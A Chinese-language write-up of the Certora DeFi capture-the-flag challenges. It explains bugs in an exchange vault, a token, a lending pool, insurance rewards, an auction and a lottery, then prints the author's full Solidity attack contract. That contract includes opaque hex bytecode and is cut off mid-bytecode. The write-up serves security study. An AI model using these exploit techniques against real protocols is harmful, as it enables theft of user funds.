本文分析了 Certora CTF 中的多个挑战,揭示了Exchange合约中 toInt256 函数的 off-by-one 漏洞和NISC 合约中 _update 函数的安全漏洞,从而可以在 Vault 中获得巨大的信用额度并交换为 USDC。
这个 Certora CTF 由 6 个非独立的挑战组成。其中一些是相互关联的,我认为这是一个展示 DeFi 的可组合性(以及漏洞如何在整个生态系统中级联)的好方法。目标是从系统中提取尽可能多的资金。
当我第一次阅读合约时,它们立刻让我想起了臭名昭著的 Balancer v2 漏洞。然而,经过进一步审查,我意识到没有经典的舍入误差漏洞可以让我耗尽大量资金。这次没有精度损失带来的免费午餐。
然后我注意到 ExchangeVault.sol 中 toInt256 的实现有些可疑:
function toInt256(uint256 value) internal pure returns (int256 result) {
assembly {
let max := shl(255, 1) // max = 2^255
if gt(value, max) { revert(0, 0) }
result := value
}
}
这里的问题很微妙但至关重要:gt(value, max) 检查 value > max 是否成立,这意味着当 value == 2^255 时,检查通过,我们得到 result = 2^255。但 2^255 在二进制补码中实际上是 -2^255(int256 的最小值)。这是一个经典的差一错误。它应该是 if iszero(lt(value, max)) 才能正确拒绝 2^255。
一个攻击想法在我脑海中形成:利用这个漏洞通过将 2^255 传递给 _takeDebt 函数来破坏信用和债务核算。当调用 _takeDebt(token, 2^255) 时,它会执行 _accountDelta(token, toInt256(2^255)),这将导致 _accountDelta(token, -2^255)。这将给我们一个巨大的信用而不是债务!
然而,找到实际触发它的路径很棘手。大多数路径都涉及费用计算,而 2^255 * fee / 10000 会溢出。我花了至少 2 天时间盯着这个挑战,后来确信除了这个合约之外还有其他东西。
所以我开始检查其他组件。部署脚本看起来很干净。然后我浏览了 token 合约,NISC.sol 中的 _update 函数引起了我的注意:
function _update(address from, address to, uint256 value) internal override {
if (from == to) {
return; // Skip self-transfers for "gas optimization"
}
super._update(from, to, value);
}
这个看起来无害的“gas 优化”实际上是一个关键漏洞。当 from == to 时,转移返回成功,而实际上没有检查余额或移动任何 token!
有了这些知识,攻击变得非常优雅:
exchangeVault.sendTo(nisc, address(exchangeVault), 1 << 255)from == to(vault 到 vault),NISC 转移成功,无需任何余额检查toInt256 中的错误,vault 调用 _takeDebt(nisc, 2^255),实际上记录了 2^255 的信用sendTo 清除剩余的 delta 以通过 transient 修饰符检查借贷协议是一个漏洞宝库。让我们系统地梳理一遍。
首先引起我注意的是闪电贷操作直接操纵了 _poolCash:
function flashloanWithdraw(uint256 amount) external onlyFlashloanContract nonReentrant returns (uint256) {
require(amount <= _poolCash, "LendingPool: Not enough cash for flashloan");
_flashloanActive = true;
_poolCash -= amount;
IERC20(asset()).safeTransfer(msg.sender, amount);
return amount;
}
这很可疑,因为 _poolCash 直接影响了池子的 totalAssets() 计算,进而影响了份额定价。任何让我们在份额铸造期间人为地降低 totalAssets() 的方法都是潜在的利用向量。
我注意到的另一件事是 LendingPool 继承自 ERC4626,但没有覆盖 mint 函数。与此同时,deposit、withdraw 和 redeem 都受到 notDuringFlashloan 修饰符的保护:
function deposit(uint256 assets, address receiver) public override nonReentrant notDuringFlashloan returns (uint256 shares) {
// ...protected
}
// But mint() is inherited directly from ERC4626 without protection!
显然,这是为了防止在闪电贷期间(当 _poolCash 暂时减少时)操纵份额价格而采取的保护措施。但是 mint() 却漏网了。
闪电贷机制使用一个布尔值 _flashloanActive 来跟踪闪电贷是否正在进行中:
function flashloanReturn(uint256 amount) external onlyFlashloanContract nonReentrant {
_poolCash += amount;
_flashloanActive = false;
}
问题是:_flashloanActive 是一个布尔值,而不是一个计数器。如果我们递归地调用闪电贷:
_flashloanActive = true_flashloanActive = true(无操作)_flashloanActive = false ← 漏洞!notDuringFlashloan闪电贷有一个令人痛苦的 10% 的费用。但是,由于闪电贷可以递归调用,并且合约使用余额检查而不是跟踪个人还款,我们可以利用这一点:
require(token.balanceOf(address(this)) >= initialBalance + fee, "FlashLoaner: Insufficient repayment");
如果我们首先借入 100 个 token,然后在回调中再借入 1000 个 token,当内部闪电贷完成时,我们将偿还全部 1100 个 token。然后,外部闪电贷只需要我们为最初的 100 个 token 添加费用(即 10)。我们总共借了 1100 个 token,但只支付了约 10 个 token 的费用,从而将实际费用从 10% 降低到约 1%。通过增加递归深度,可以进一步优化这一点。
核心思想很简单:在闪电贷期间,当 totalAssets() 返回被低估的值时,调用 mint,然后用我们获得的份额耗尽池子。
由于 totalAssets() 由 _poolCash 加上未偿债务组成,我们可以通过减少债务部分来进一步优化。这意味着在攻击前清算活动中的头寸。为了清算一个头寸,我们使用闪电贷来操纵 _poolCash,这会影响抵押品价值的计算。结合 _flashloanActive 的绕过,我们甚至可以在活动闪电贷期间执行清算。
攻击很复杂,但核心漏洞很明显:未受保护的 mint(),用于闪电贷跟踪的布尔值而不是计数器,以及支持费用减少的基于余额的费用检查。
我们可以将这个挑战分为两个部分:耗尽已存入的资金和耗尽奖励 token。
社区保险合约可以清算来自借贷协议的坏账头寸。由于我们已经拥有了所有工具,可以通过前一个挑战中的闪电贷来操纵抵押品价值,我们可以故意创建坏账头寸。只需大量借款,然后使用闪电贷来降低抵押品价值。
这就是有趣的地方。看看 _update 函数:
function _update(address from, address to, uint256 value) internal override {
// ... transfer logic ...
super._update(from, to, value);
// Update rewards wrapped in try/catch
if (from != address(0)) {
uint256 freeFrom = balanceOf(from) + value - originalShares;
try IRewardDistributor(rewardDistributor).updateReward(from, freeFrom, totalFree) {} catch {}
}
if (to != address(0)) {
uint256 freeTo = balanceOf(to) - withdrawRequests[to].shares - value;
try IRewardDistributor(rewardDistributor).updateReward(to, freeTo, totalFree) {} catch {}
}
}
为什么要将 updateReward 包装在 try/catch 中?这种看似防御性的模式基于 EVM 的 63/64 gas 规则打开了一个有趣的攻击向量。
当进行外部调用时,EVM 最多只转发剩余 gas 的 63/64。这意味着:
updateReward 耗尽 gasuserRewardPerTokenPaid 没有更新!我们使用仔细控制的 gas 进行存款,以便 updateReward 调用由于 OOG 而失败,但存款本身成功。我们的份额余额增加,但 userRewardPerTokenPaid 保持在 0。然后我们可以声明协议中所有可用的奖励。
多年前,我在一次私人安全审查中发现了一个类似的在 try/catch 中的 OOG 问题。jinu 还有一个与此模式相关的很棒的 CTF 挑战:https://dreamhack.io/wargame/challenges/1322。所以这一个花了我最少的时间来解决。有时过去的经验真的很有用!
与其他挑战相比,这个挑战非常简单。
查看 InvestmentVault.sol,IdleMarket 在市场排序中有一个特殊的位置:
IdleMarket 最后IdleMarket 首先function _supplyFunds(uint256 assets) internal {
for (uint256 i = 0; i < markets.length; i++) { // IdleMarket is last
// ...
}
}
function _withdrawFunds(uint256 assets) internal {
for (uint256 i = markets.length-1 ; i >=0 ; i--) { // IdleMarket is first to drain
// ...
}
}
由于 IdleMarket 在存款顺序中是最后一个,但在取款顺序中是第一个,我们可以简单地存款然后立即取款来耗尽 IdleMarket 的现有余额。任何剩余的资金都可以通过改为利用借贷协议来获得。
这个挑战展示了一种经典的类型混淆漏洞。
在 createAuction 中,该函数接受一个 IERC721 nftContract 参数,但没有验证它实际上是否为 ERC721:
function createAuction(
IERC721 nftContract,
uint256 tokenId,
// ...
) external nonReentrant returns (uint256 auctionId) {
// ...
nftContract.transferFrom(msg.sender, address(vault), tokenId);
// ...
}
ERC20 和 ERC721 都有 transferFrom(address, address, uint256),具有相同的函数签名。关键区别在于 ERC721 将第三个参数解释为 tokenId,而 ERC20 将其解释为 amount。
我们可以通过将支付 token 地址作为 nftContract 参数来利用这一点。这会将支付 token 转移到 vault,从而膨胀 AuctionToken 的份额价值(因为现在每个份额代表更多的基础 token)。然后我们可以用最少的 AuctionToken 份额进行竞标,最后使用 _settleAuction 将相同数量的支付 token 转移出去。凭空得来的免费资金。
对于彩票 #0,vault 最初是空的(在耗尽借贷协议之后),所以我们可以最大限度地提高份额价值。攻击很简单:存入少量支付 token,创建一个伪造的拍卖,将我们的目标 token 作为“NFT”,用我们现在膨胀的份额竞标彩票,然后结算。
对于彩票 #1 和 #2,情况更加复杂。vault 已经包含一些 NISC token,并且我们的 NISC 余额有限,因此通货膨胀的潜力受到限制。我们需要优化。
方法是:
depositERC20 存入一些 NISC,然后创建一个拍卖来膨胀 NISC AuctionToken 的份额价值withdrawERC20 以使用膨胀的份额提取额外的 NISC这里有一个重要的注意事项:一旦我们调用 settleAuction,合约就会执行 setApprovalForNFT,由于我们的 nftContract 实际上是 NISC 地址,因此会转换为覆盖现有批准金额的 approve 调用。如果我们重复此过程,withdrawERC20 将会因批准不足而失败。因此,我们需要仔细计划。
有了足够累积的 NISC,我们可以使用类似的模式购买彩票 #1 和 #2:存入少量 NISC,创建一个拍卖来膨胀份额价值,购买一张彩票,结算拍卖,然后对另一张彩票重复此操作。可以通过求解购买两张彩票所需的最小 NISC 来优化确切的金额。
彩票挑战是函数签名冲突的一个例子。
当我第一次看到这个挑战时,感觉有些不对劲。LotteryExtension.sol 的内容很容易放入 Lottery.sol 中。为什么还要使用 delegatecall?
// Lottery.sol
fallback() external {
require(address(extension) != address(0), "Extension not set");
(bool success, bytes memory returnData) = address(extension).delegatecall(msg.data);
// ...
}
我尝试将 LotteryExtension.sol 合并到 Lottery.sol 中……但由于函数签名重复,它无法编译!
由于函数选择器是从函数名称和参数类型计算出来的,因此对这些函数的调用将直接匹配主合约的实现,永远不会触发 fallback() 来访问扩展。
每个 solve 函数都需要找到 x,使得:
x² ≡ magic (mod N)
其中 N 是两个素数的乘积(RSA 风格),这使得它成为一个二次剩余问题。解决方案:
N 分解为 p * qx² ≡ magic (mod p)x² ≡ magic (mod q)由于我们有三张彩票(通过拍卖漏洞购买),我们选择三个没有冲突的高奖励挑战并解决它们。每次成功解决都会产生 magic * 10^6 USDC 的奖金,外加基本奖金。对于一些数论来说还不错!
我没有花太多时间优化攻击合约的可读性或效率,所以代码不是很干净。如果你无论如何都有兴趣查看:
我的解决方案
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./interfaces/ILotteryExtension.sol";
import "./interfaces/IAuctionManager.sol";
import "./interfaces/IAuctionToken.sol";
import "./interfaces/IAuctionVault.sol";
import "./interfaces/ICommunityInsurance.sol";
import "./interfaces/IExchange.sol";
import "./interfaces/IExchangeVault.sol";
import "./interfaces/IFlashLoaner.sol";
import "./interfaces/IIdleMarket.sol";
import "./interfaces/IInvestmentVault.sol";
import "./interfaces/IInvestmentVaultFactory.sol";
import "./interfaces/ILendingFactory.sol";
import "./interfaces/ILendingManager.sol";
import "./interfaces/ILendingPool.sol";
import "./interfaces/ILottery.sol";
import "./interfaces/ILotteryCommon.sol";
import "./interfaces/ILotteryStorage.sol";
import "./interfaces/IPool.sol";
import "./interfaces/IPriceOracle.sol";
import "./interfaces/IRewardDistributor.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IWeth.sol";
import "./Exchange/PoolHelper.sol";
import "hardhat/console.sol";
interface ILendingPoolBorrower3 {
function borrow(
IERC20 debtToken,
ILendingPool debtTokenPool,
ILendingPool collateralPool,
IERC20 collateralToken,
ILendingManager lendingManager,
uint256 collateralAmount,
uint256 debtAmount
) external;
}
interface ICommunityInsuranceWithBadDebt3 {
function liquidateBadDebt(ILendingManager manager, address user, ILendingManager.AssetType assetType) external;
}
contract LendingPoolBorrower3 is ILendingPoolBorrower3 {
IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);
function borrow(
IERC20 debtToken,
ILendingPool debtTokenPool,
ILendingPool collateralPool,
IERC20 collateralToken,
ILendingManager lendingManager,
uint256 collateralAmount,
uint256 debtAmount
) public {
collateralToken.approve(address(collateralPool), collateralAmount);
collateralPool.deposit(collateralAmount, address(this));
collateralPool.approve(address(lendingManager), collateralPool.balanceOf(address(this)));
ILendingManager.AssetType collateralType = collateralToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
ILendingManager.AssetType debtType = debtToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
lendingManager.lockCollateral(collateralType, collateralPool.balanceOf(address(this)));
uint256 remaining = debtAmount - 5;
debtToken.approve(address(debtTokenPool), type(uint256).max);
debtTokenPool.updateIndex();
while (remaining > 0) {
uint256 cashLeft = debtTokenPool.getCash();
uint256 borrowAmount = remaining > cashLeft ? cashLeft : remaining;
lendingManager.borrow(debtType, borrowAmount);
remaining -= borrowAmount;
if (remaining != 0) {
uint256 depositAmount = remaining < borrowAmount ? remaining : borrowAmount;
debtTokenPool.deposit(depositAmount, address(this));
}
}
debtToken.transfer(msg.sender, debtToken.balanceOf(address(this)));
}
}
contract AttackContract3 is IFlashLoanReceiver {
IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);
IERC20 public constant nisc = IERC20(0x20e4c056400C6c5292aBe187F832E63B257e6f23);
IWeth public constant weth = IWeth(0x13d78a4653e4E18886FBE116FbB9065f1B55Cd1d);
ILottery public constant lottery = ILottery(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
ILotteryExtension public constant lotteryExtension = ILotteryExtension(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
IAuctionVault public constant auctionVault = IAuctionVault(0x9f4a3Ba629EF680c211871c712053A65aEe463B0);
IAuctionManager public constant auctionManager = IAuctionManager(0x228F0e62b49d2b395Ee004E3ff06841B21AA0B54);
IStrategy public constant lendingPoolStrategy = IStrategy(0xC5cBC10e8C7424e38D45341bD31342838334dA55);
IExchangeVault public constant exchangeVault = IExchangeVault(0x776B51e76150de6D50B06fD0Bd045de0a13D68C7);
// Replaced storage arrays with individual constants
IPool public constant productPool0 = IPool(0x536BF770397157efF236647d7299696B90Bc95f1);
IPool public constant productPool1 = IPool(0x6cAC85Dc0D547225351097Fb9eEb33D65978bb73);
IPriceOracle public constant priceOracle = IPriceOracle(0x9231ffAC09999D682dD2d837a5ac9458045Ba1b8);
ILendingFactory public constant lendingFactory = ILendingFactory(0xdC5b6f8971AD22dC9d68ed7fB18fE2DB4eC66791);
ILendingManager public constant lendingManager0 = ILendingManager(0x66bf9ECb0B63dC4815Ab1D2844bE0E06aB506D4f);
ILendingManager public constant lendingManager1 = ILendingManager(0x5FdA5021562A2Bdfa68688d1DFAEEb2203d8d045);
ILendingPool public constant lendingPoolA0 = ILendingPool(0xfAC23E673e77f76c8B90c018c33e061aE8F8CBD9);
ILendingPool public constant lendingPoolA1 = ILendingPool(0xFa6c040D3e2D5fEB86Eda9e22736BbC6eA81a16b);
ILendingPool public constant lendingPoolB0 = ILendingPool(0xb022AE7701DF829F2FF14B51a6DFC8c9A95c6C61);
ILendingPool public constant lendingPoolB1 = ILendingPool(0x537B309Fec55AD15Ef2dFae1f6eF3AEBD80d0d9c);
IFlashLoaner public constant flashLoaner = IFlashLoaner(0x5861a917A5f78857868D88Bd93A18A3Df8E9baC7);
IInvestmentVaultFactory public constant investmentFactory = IInvestmentVaultFactory(0xd526270308228fDc16079Bd28eB1aBcaDd278fbD);
IIdleMarket public constant usdcIdleMarket = IIdleMarket(0xB926534D703B249B586A818B23710938D40a1746);
IInvestmentVault public constant investmentVault0 = IInvestmentVault(0x99828D8000e5D8186624263f1b4267aFD4E27669);
IInvestmentVault public constant investmentVault1 = IInvestmentVault(0xe7A23A3Bf899f67e0B40809C8f449A7882f1a26E);
ICommunityInsurance public constant communityInsurance = ICommunityInsurance(0x83f3997529982fB89C4c983D82d8d0eEAb2Bb034);
IRewardDistributor public constant rewardDistributor = IRewardDistributor(0x73a8004bCD026481e27b5B7D0d48edE428891995);
PoolHelper public constant poolHelper = PoolHelper(0x910B4Fb4E32b234DAADC4Cb7a43C3D56A46Ca220);
struct FlashloanData {
uint256 step;
address asset;
uint256 repayAmount;
uint256 borrowAmount;
uint256 depth;
}
uint256 internal inFlashloan = 0;
uint256 internal lockedCollateral = 0;
address internal wethBorrower;
address internal niscBorrower;
address internal usdcBorrower;
constructor() payable {}
function Attack() public {
bytes memory cd = abi.encodeCall(AttackContract3.swapCallback, ());
exchangeVault.unlock(cd);
exploitExchange();
exploitLottery();
usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
nisc.transfer(msg.sender, nisc.balanceOf(address(this)));
weth.transfer(msg.sender, weth.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function exploitLottery() internal {
uint256 usdcBalanceBefore = usdc.balanceOf(address(this));
address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod89443, (0, 50026629318756762526651012396395378096102264596730646887809992031890314654744)));
uint256 usdcBalanceAfter = usdc.balanceOf(address(this));
usdcBalanceBefore = usdcBalanceAfter;
address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod90174, (1, 40289530849315046632803046237695507888814621779004955301521665942329666711931)));
usdcBalanceAfter = usdc.balanceOf(address(this));
usdcBalanceBefore = usdcBalanceAfter;
address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod93740, (2, 70795557551797021934431357608483109706359776929814102558092893513146276451091)));
usdcBalanceAfter = usdc.balanceOf(address(this));
}
function exploitExchange() internal {
bytes memory cd = abi.encodeCall(AttackContract3.swapCallback2, ());
exchangeVault.unlock(cd);
weth.approve(address(poolHelper), type(uint256).max);
poolHelper.swap(productPool0, weth, usdc, 5e18, 0, address(this));
}
function swapCallback2() external {
uint256 amount = 1 << 255;
exchangeVault.sendTo(nisc, address(exchangeVault), amount);
exchangeVault.swapInPool(productPool1, nisc, usdc, 1e45, 0);
int256 usdcDelta = exchangeVault.tokenDelta(usdc);
exchangeVault.sendTo(usdc, address(this), uint256(-usdcDelta));
exchangeVault.sendTo(nisc, address(this), nisc.balanceOf(address(exchangeVault)));
int256 niscDelta = exchangeVault.tokenDelta(nisc);
exchangeVault.sendTo(nisc, address(exchangeVault), uint256(-niscDelta));
}
function exploit() public {
usdc.approve(address(investmentVault0), type(uint256).max);
usdc.approve(address(investmentVault1), type(uint256).max);
investmentVault0.deposit(50000e6, address(this));
investmentVault1.deposit(50000e6, address(this));
investmentVault0.redeem(investmentVault0.balanceOf(address(this)), address(this), address(this));
investmentVault1.redeem(investmentVault1.balanceOf(address(this)), address(this), address(this));
bytes memory deployCode =
hex"6080604052341561023a57610015565b60405190565b600080fd5b60018060a01b031690565b90565b61003c6100376100419261001a565b610025565b61001a565b90565b61004d90610028565b90565b61005990610044565b90565b90565b90565b61007661007161007b9261005c565b610025565b61005f565b90565b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906100a89061007e565b810190811060018060401b038211176100c057604052565b610088565b906100d86100d161000f565b928361009e565b565b60018060401b0381116100f05760208091020190565b610088565b90610107610102836100da565b6100c5565b918252565b369037565b9061013661011e836100f5565b9260208061012c86936100da565b920191039061010c565b565b61014190610028565b90565b61014d90610138565b90565b600080fd5b60e01b90565b600080fd5b600091031261016b57565b61015b565b5190565b60209181520190565b60200190565b61018c9061005f565b9052565b9061019d81602093610183565b0190565b60200190565b906101c46101be6101b784610170565b8093610174565b9261017d565b9060005b8181106101d55750505090565b9091926101ee6101e86001928651610190565b946101a1565b91019190916101c8565b61```
uint256 cash = lendingPoolA0.getCash();
uint256 flashloanFee;
uint256 depth = 6;
uint256 curCash = cash;
uint256 curStep = 0;
for (uint256 i = 0; i < depth; i++) {
flashloanFee = curCash / 10 + 1;
curCash = flashloanFee;
}
FlashloanData memory flashloanData = FlashloanData({
step: curStep++,
asset: address(usdc),
repayAmount: cash + curCash / 10 + 1,
borrowAmount: curCash,
depth: depth
});
flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));
lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));
address lendingUserB = 0x11c8738979A536F9F9AEE32d1724D62ac1adb7De;
weth.approve(address(lendingManager0), type(uint256).max);
lendingManager0.liquidate(ILendingManager.AssetType.B, lendingUserB);
ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager0, wethBorrower, ILendingManager.AssetType.B);
cash = lendingPoolB0.getCash();
curCash = cash;
for (uint256 i = 0; i < depth; i++) {
flashloanFee = curCash / 10 + 1;
curCash = flashloanFee;
}
flashloanData = FlashloanData({
step: curStep++,
asset: address(weth),
repayAmount: cash + curCash / 10 + 1,
borrowAmount: curCash,
depth: depth
});
flashLoaner.flashloan(weth, curCash, address(this), abi.encode(flashloanData));
lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));
lendingPoolB0.deposit(1e18, address(this));
lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
lockedCollateral = lendingPoolB0.balanceOf(address(this));
lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());
cash = lendingPoolA1.getCash();
curCash = cash;
for (uint256 i = 0; i < depth; i++) {
flashloanFee = curCash / 10 + 1;
curCash = flashloanFee;
}
flashloanData = FlashloanData({
step: curStep++,
asset: address(usdc),
repayAmount: cash + curCash / 10 + 1,
borrowAmount: curCash,
depth: depth
});
flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));
lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
lockedCollateral = 0;
lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));
lendingPoolA0.deposit(1000000e6, address(this));
lendingPoolA0.approve(address(lendingManager0), type(uint256).max);
lockedCollateral = lendingPoolA0.balanceOf(address(this));
lendingManager0.lockCollateral(ILendingManager.AssetType.A, lockedCollateral);
lendingManager0.borrow(ILendingManager.AssetType.B, lendingPoolB0.getCash());
uint256[] memory insuranceAssets = communityInsurance.totalAssets();
ILendingPoolBorrower3 borrower = deployLendingPoolBorrower();
uint256 collateralAmount = 250000e18;
uint256 debtAmount = insuranceAssets[0];
nisc.transfer(address(borrower), collateralAmount);
borrower.borrow(usdc, lendingPoolA1, lendingPoolB1, nisc, lendingManager1, collateralAmount, debtAmount);
usdcBorrower = address(borrower);
cash = lendingPoolB1.getCash();
curCash = cash;
for (uint256 i = 0; i < depth; i++) {
flashloanFee = curCash / 10 + 1;
curCash = flashloanFee;
}
flashloanData = FlashloanData({
step: curStep++,
asset: address(nisc),
repayAmount: cash + curCash / 10 + 1,
borrowAmount: curCash,
depth: depth
});
flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));
weth.approve(address(lendingManager0), type(uint256).max);
lendingManager0.repay(ILendingManager.AssetType.B, lendingManager0.getDebt(ILendingManager.AssetType.B, address(this)));
lendingManager0.unlockCollateral(ILendingManager.AssetType.A, lockedCollateral);
lockedCollateral = 0;
lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));
lendingPoolB0.deposit(weth.balanceOf(address(this)), address(this));
lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
lockedCollateral = lendingPoolB0.balanceOf(address(this));
lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());
cash = lendingPoolA1.getCash();
curCash = cash;
for (uint256 i = 0; i < depth; i++) {
flashloanFee = curCash / 10 + 1;
curCash = flashloanFee;
}
flashloanData = FlashloanData({
step: curStep++,
asset: address(usdc),
repayAmount: cash + curCash / 10 + 1,
borrowAmount: curCash,
depth: depth
});
flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));
lendingPoolA1.redeem(lendingPoolA1.balanceOf(address(this)), address(this), address(this));
lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
lockedCollateral = 0;
lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));
cash = lendingPoolB1.getCash();
curCash = cash;
for (uint256 i = 0; i < depth; i++) {
flashloanFee = curCash / 10 + 1;
curCash = flashloanFee;
}
flashloanData = FlashloanData({
step: curStep++,
asset: address(nisc),
repayAmount: cash + curCash / 10 + 1,
borrowAmount: curCash,
depth: depth
});
flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));
lendingPoolB1.redeem(lendingPoolB1.balanceOf(address(this)), address(this), address(this));
exploitAuction();
}
receive() external payable {}
function exploitAuction() internal {
weth.approve(address(auctionManager), type(uint256).max);
usdc.approve(address(auctionManager), type(uint256).max);
auctionManager.depositERC20(usdc, 0.1e6);
auctionManager.depositERC20(weth, 100);
uint256 usdcInAuction = usdc.balanceOf(address(this));
uint256 auctionId = auctionManager.createAuction(IERC721(address(usdc)), usdcInAuction, 0, 0, weth, 1);
auctionManager.bid(0, 200000e6);
uint256 withdrawableUsdc = usdc.balanceOf(address(auctionVault)) - usdcInAuction;
auctionManager.withdrawERC20(usdc, withdrawableUsdc);
auctionManager.bid(auctionId, 1);
nisc.approve(address(auctionManager), type(uint256).max);
auctionManager.depositERC20(nisc, 177000e18);
// auctionManager.depositERC20(nisc, 177100e18);
uint256 niscInAuction = nisc.balanceOf(address(this));
auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
uint256 niscAuctionBalance = auctionManager.auctionTokens(nisc).balanceOf(address(this));
auctionManager.withdrawERC20(nisc, niscAuctionBalance);
auctionManager.bid(auctionId, 1);
// auctionManager.depositERC20(nisc, 61900e18);
auctionManager.depositERC20(nisc, 62000e18);
niscInAuction = nisc.balanceOf(address(this));
auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
auctionManager.buy(2);
auctionManager.bid(auctionId, 1);
// auctionManager.depositERC20(nisc, 57000e18);
auctionManager.depositERC20(nisc, 57100e18);
niscInAuction = nisc.balanceOf(address(this));
auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
auctionManager.buy(1);
auctionManager.bid(auctionId, 1);
}
function deployLendingPoolBorrower() internal returns (ILendingPoolBorrower3) {
bytes memory bytecode = hex"608060405234601c57600e6020565b610d1061002c8239610d1090f35b6026565b60405190565b600080fdfe60806040526004361015610013575b6102b4565b61001e60003561003d565b80633e413bee1461003857636d9dd82e0361000e5761027a565b61010b565b60e01c90565b60405190565b600080fd5b600080fd5b600091031261005e57565b61004e565b60018060a01b031690565b90565b61008561008061008a92610063565b61006e565b610063565b90565b61009690610071565b90565b6100a29061008d565b90565b6100c273bf1c7f6f838def75f1c47e9b6d3885937f899b7c610099565b90565b6100cd6100a5565b90565b6100d990610071565b90565b6100e5906100d0565b90565b6100f1906100dc565b9052565b9190610109906000602085019401906100e8565b565b3461013b5761011b366004610053565b6101376101266100c5565b61012e610043565b918291826100f5565b0390f35b610049565b61014990610063565b90565b61015590610140565b90565b6101618161014c565b0361016857565b600080fd5b9050359061017a82610158565b565b61018590610140565b90565b6101918161017c565b0361019857565b600080fd5b905035906101aa82610188565b565b6101b590610140565b90565b6101c1816101ac565b036101c857565b600080fd5b905035906101da826101b8565b565b90565b6101e8816101dc565b036101ef57565b600080fd5b90503590610201826101df565b565b60e08183031261026f5761021a826000830161016d565b92610228836020840161019d565b92610236816040850161019d565b92610244826060830161016d565b9261026c61025584608085016101cd565b936102638160a086016101f4565b9360c0016101f4565b90565b61004e565b60000190565b346102af5761029961028d366004610203565b95949094939193610527565b6102a610043565b806102ab81610274565b0390f35b610049565b600080fd5b6102c2906100d0565b90565b600080fd5b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906102f4906102ca565b810190811067ffffffffffffffff82111761030e57604052565b6102d4565b60e01b90565b151590565b61032781610319565b0361032e57565b600080fd5b905051906103408261031e565b565b9060208282031261035c5761035991600001610333565b90565b61004e565b61036a90610140565b9052565b610377906101dc565b9052565b91602061039d92949361039660408201966000830190610361565b019061036e565b565b6103a7610043565b3d6000823e3d90fd5b6103b9906100d0565b90565b905051906103c9826101df565b565b906020828203126103e5576103e2916000016103bc565b90565b61004e565b91602061040c9294936104056040820196600083019061036e565b0190610361565b565b610417906100d0565b90565b919061042e90600060208501940190610361565b565b600091031261043b57565b61004e565b634e487b7160e01b600052602160045260246000fd5b6002111561046057565b610440565b9061046f82610456565b565b61047a90610465565b90565b61048690610471565b9052565b9160206104ac9294936104a56040820196600083019061047d565b019061036e565b565b90565b6104c56104c06104ca926104ae565b61006e565b6101dc565b90565b634e487b7160e01b600052601160045260246000fd5b6104f26104f8919392936101dc565b926101dc565b820391821161050357565b6104cd565b90565b61051f61051a61052492610508565b61006e565b6101dc565b90565b9395909692949194610538816100dc565b602063095ea7b391610549896102b9565b906105686000889561057361055c610043565b97889687958694610313565b84526004840161037b565b03925af18015610d0b57610cdf575b50602061058e876102b9565b636e553f6594906105bb60006105a3306103b0565b976105c66105af610043565b998a9687958694610313565b8452600484016103ea565b03925af1928315610cda5761063193610cae575b506105e4866102b9565b63095ea7b3906105f38961040e565b9160206105ff8a6102b9565b6370a0823190610626610611306103b0565b9261061a610043565b9a8b9485938493610313565b83526004830161041a565b03915afa958615610ca957600096610c6c575b509061066660006020949361067161065a610043565b998a9687958694610313565b84526004840161037b565b03925af1928315610c675761071c93610c3b575b5061069f6106996106946100a5565b61014c565b9161014c565b14600014610c345760005b846106c46106be6106b96100a5565b61014c565b9161014c565b14600014610c2d5760005b956106d98861040e565b60206106ea632776a6ba94936102b9565b6370a08231906107116106fc306103b0565b92610705610043565b998a9485938493610313565b83526004830161041a565b03915afa948515610c2857600095610bf8575b50803b15610bf35761075560008094610760610749610043565b98899687958694610313565b84526004840161048a565b03925af1918215610bee5761078592610bc1575b5061077f60056104b1565b906104e3565b9161078f816100dc565b602063095ea7b3916107a0896102b9565b906107c060008019956107cb6107b4610043565b9788968795869